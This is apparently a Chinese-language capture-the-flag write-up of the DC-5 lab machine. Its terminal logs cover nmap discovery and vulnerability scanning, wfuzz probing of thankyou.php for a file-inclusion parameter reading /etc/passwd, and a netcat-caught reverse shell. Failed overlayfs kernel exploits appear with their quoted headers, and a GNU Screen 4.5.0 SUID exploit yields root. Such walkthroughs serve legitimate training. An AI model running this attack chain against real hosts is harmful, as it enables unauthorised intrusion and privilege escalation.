root at kali in ~/DC5 $ ip --color address 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host noprefixroute valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 00:0c:29:36:e9:5d brd ff:ff:ff:ff:ff:ff inet 10.10.8.17/24 brd 10.10.8.255 scope global dynamic noprefixroute eth0 valid_lft 1573sec preferred_lft 1573sec inet6 fe80::fff8:80c4:4cdf:a014/64 scope link noprefixroute valid_lft forever preferred_lft forever
地址探测
使用 Nmap 扫描出一个 IP：10.10.8.25
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
root at kali in ~/DC5 $ nmap -sn -T4 --min-rate 10000 10.10.8.0/24 -oN Nmap_IP_Scan.txt Starting Nmap 7.94 ( https://nmap.org ) at 2024-06-25 20:22 CST Nmap scan report for 10.10.8.1 Host is up (0.00012s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 10.10.8.2 Host is up (0.000088s latency). MAC Address: 00:50:56:EA:61:D3 (VMware) Nmap scan report for 10.10.8.25 Host is up (0.000069s latency). MAC Address: 00:0C:29:85:E9:3E (VMware) Nmap scan report for 10.10.8.254 Host is up (0.000060s latency). MAC Address: 00:50:56:FF:3C:4E (VMware) Nmap scan report for 10.10.8.17 Host is up. Nmap done: 256 IP addresses (5 hosts up) scanned in 4.68 seconds
端口扫描
扫描开放端口：
1 2 3 4 5 6 7 8 9 10 11 12 13
root at kali in ~/DC5 $ nmap -p- -sT -T4 --min-rate 10000 10.10.8.25 -oN Nmap_Port_Scan.txt Starting Nmap 7.94 ( https://nmap.org ) at 2024-06-25 20:22 CST Nmap scan report for 10.10.8.25 Host is up (0.00011s latency). Not shown: 65532 closed tcp ports (conn-refused) PORT STATE SERVICE 80/tcp open http 111/tcp open rpcbind 46614/tcp open unknown MAC Address: 00:0C:29:85:E9:3E (VMware)
Nmap done: 1 IP address (1 host up) scanned in 3.10 seconds
root at kali in ~/DC5 $ nmap -p80,111,46614 -sV -O -sT -T4 --min-rate 10000 10.10.8.25 -oN Nmap_Server_Scan.txt Starting Nmap 7.94 ( https://nmap.org ) at 2024-06-25 20:23 CST Nmap scan report for 10.10.8.25 Host is up (0.00048s latency).
PORT STATE SERVICE VERSION 80/tcp open http nginx 1.6.2 111/tcp open rpcbind 2-4 (RPC #100000) 46614/tcp open status 1 (RPC #100024) MAC Address: 00:0C:29:85:E9:3E (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 24.62 seconds
root at kali in ~/DC5 $ nmap --script=vuln -T4 --min-rate 10000 10.10.8.25 -oN Nmap_Vuln_Scan.txt Starting Nmap 7.94 ( https://nmap.org ) at 2024-06-25 20:25 CST Nmap scan report for 10.10.8.25 Host is up (0.00036s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.8.25 | Found the following possible CSRF vulnerabilities: | | Path: http://10.10.8.25:80/contact.php | Form id: fname |_ Form action: thankyou.php |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. 111/tcp open rpcbind MAC Address: 00:0C:29:85:E9:3E (VMware)
Nmap done: 1 IP address (1 host up) scanned in 75.29 seconds
root at kali in ~/DC5 $ wfuzz -u 'http://10.10.8.25/thankyou.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/wfuzz/general/big.txt > resutl.txt
由于大部分都是 42 L，如果不是 42 L 说明就是我们想要的参数：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
root at kali in ~/DC5 $ cat resutl.txt | grep -v '42 L' ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://10.10.8.25/thankyou.php?FUZZ=/etc/passwd Total requests: 3024
===================================================================== ID Response Lines Word Chars Payload =====================================================================
root at kali in ~/DC5 $ nc -lvvp 4444 listening on [any] 4444 ... 10.10.8.25: inverse host lookup failed: Unknown host connect to [10.10.8.17] from (UNKNOWN) [10.10.8.25] 42270 bash: cannot set terminal process group (540): Inappropriate ioctl for device bash: no job control in this shell www-data@dc-5:~/html$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data)
下载 lse.sh 信息收集文件：
1 2
root at kali in ~/DC5 $ proxychains curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh
www-data@dc-5:~/html$ cd /tmp www-data@dc-5:/tmp$ ls lse.sh www-data@dc-5:/tmp$ chmod +x lse.sh www-data@dc-5:/tmp$ ./lse.sh --- If you know the current user password, write it here to check sudo privileges: ---
Kernel version: 3.16.0 Architecture: x86_64 Distribution: debian Distribution version: 8 Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed Package listing: from current OS
user@ubuntu-server-1504:~$ uname -a Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux user@ubuntu-server-1504:~$ gcc ofs.c -o ofs user@ubuntu-server-1504:~$ id uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev) user@ubuntu-server-1504:~$ ./ofs spawning threads mount #1 mount #2 child threads done /etc/ld.so.preload created creating shared library # id uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)
greets to beist & kaliman 2015-05-24 %rebel% *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
使用如下命令进行编译并执行：
1 2 3 4 5 6 7 8
www-data@dc-5:/tmp$ gcc 37292.c -o ofs www-data@dc-5:/tmp$ ./ofs spawning threads failed to create new user namespace failed to create new mount namespace child threads done exploit failed www-data@dc-5:/tmp$
overlayfs (ovl_setattr)（失败）
还是失败，再换：
1 2 3 4 5 6
[+] [CVE-2015-8660] overlayfs (ovl_setattr)
Details: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/ Exposure: less probable Tags: ubuntu=(14.04|15.10){kernel:4.2.0-(18|19|20|21|22)-generic} Download URL: https://www.exploit-db.com/download/39166
/* just another overlayfs exploit, works on kernels before 2015-12-26 # Exploit Title: overlayfs local root # Date: 2016-01-05 # Exploit Author: rebel # Version: Ubuntu 14.04 LTS, 15.10 and more # Tested on: Ubuntu 14.04 LTS, 15.10 # CVE : CVE-2015-8660
blah@ubuntu:~$ id uid=1001(blah) gid=1001(blah) groups=1001(blah) blah@ubuntu:~$ uname -a && cat /etc/issue Linux ubuntu 3.19.0-42-generic #48~14.04.1-Ubuntu SMP Fri Dec 18 10:24:49 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux Ubuntu 14.04.3 LTS \n \l blah@ubuntu:~$ ./overlayfail root@ubuntu:~# id uid=0(root) gid=1001(blah) groups=0(root),1001(blah)
12/2015 by rebel
6354b4e23db225b565d79f226f2e49ec0fe1e19b */
使用如下命令进行编译并执行：
1 2 3 4 5
www-data@dc-5:/tmp$ gcc 39166.c -o 39166 www-data@dc-5:/tmp$ ./39166 failed to create new user namespace failed to create new mount namespace couldn't create suid :(
测试了大概4~5个都不行，那就只能回到原处，看看 SUID 的 screen 了。
screen 提权
既然 GTFOBins 没有，试试 searchsploit 有没有对应内容：
1 2 3
# /bin/screen-4.5.0 root at kali in ~/DC5 $ searchsploit screen 4.5.0
# 移动到当前目录 root at kali in ~/DC5 $ searchsploit -m linux/local/41154.sh Exploit: GNU Screen 4.5.0 - Local Privilege Escalation URL: https://www.exploit-db.com/exploits/41154 Path: /usr/share/exploitdb/exploits/linux/local/41154.sh Codes: N/A Verified: True File Type: Bourne-Again shell script, ASCII text executable Copied to: /root/DC5/41154.sh # 在靶机上赋权执行 www-data@dc-5:/tmp$ chmod +x 41154.sh www-data@dc-5:/tmp$ ./41154.sh ~ gnu/screenroot ~ [+] First, we create our shell and library... [+] Now we create our /etc/ld.so.preload file... [+] Triggering... ' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored. [+] done! No Sockets found in /tmp/screens/S-www-data.
id uid=0(root) gid=0(root) groups=0(root),33(www-data)
Once again, a big thanks to all those who do these little challenges, and especially all those who give me feedback - again, it's all greatly appreciated. :-)
I also want to send a big thanks to all those who find the vulnerabilities and create the exploits that make these challenges possible.
www-data@dc-5:/tmp$ ./run.sh [+] Now we create our /etc/ld.so.preload file... [+] Triggering... ' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored. [+] done! No Sockets found in /tmp/screens/S-www-data.
id uid=0(root) gid=0(root) groups=0(root),33(www-data)
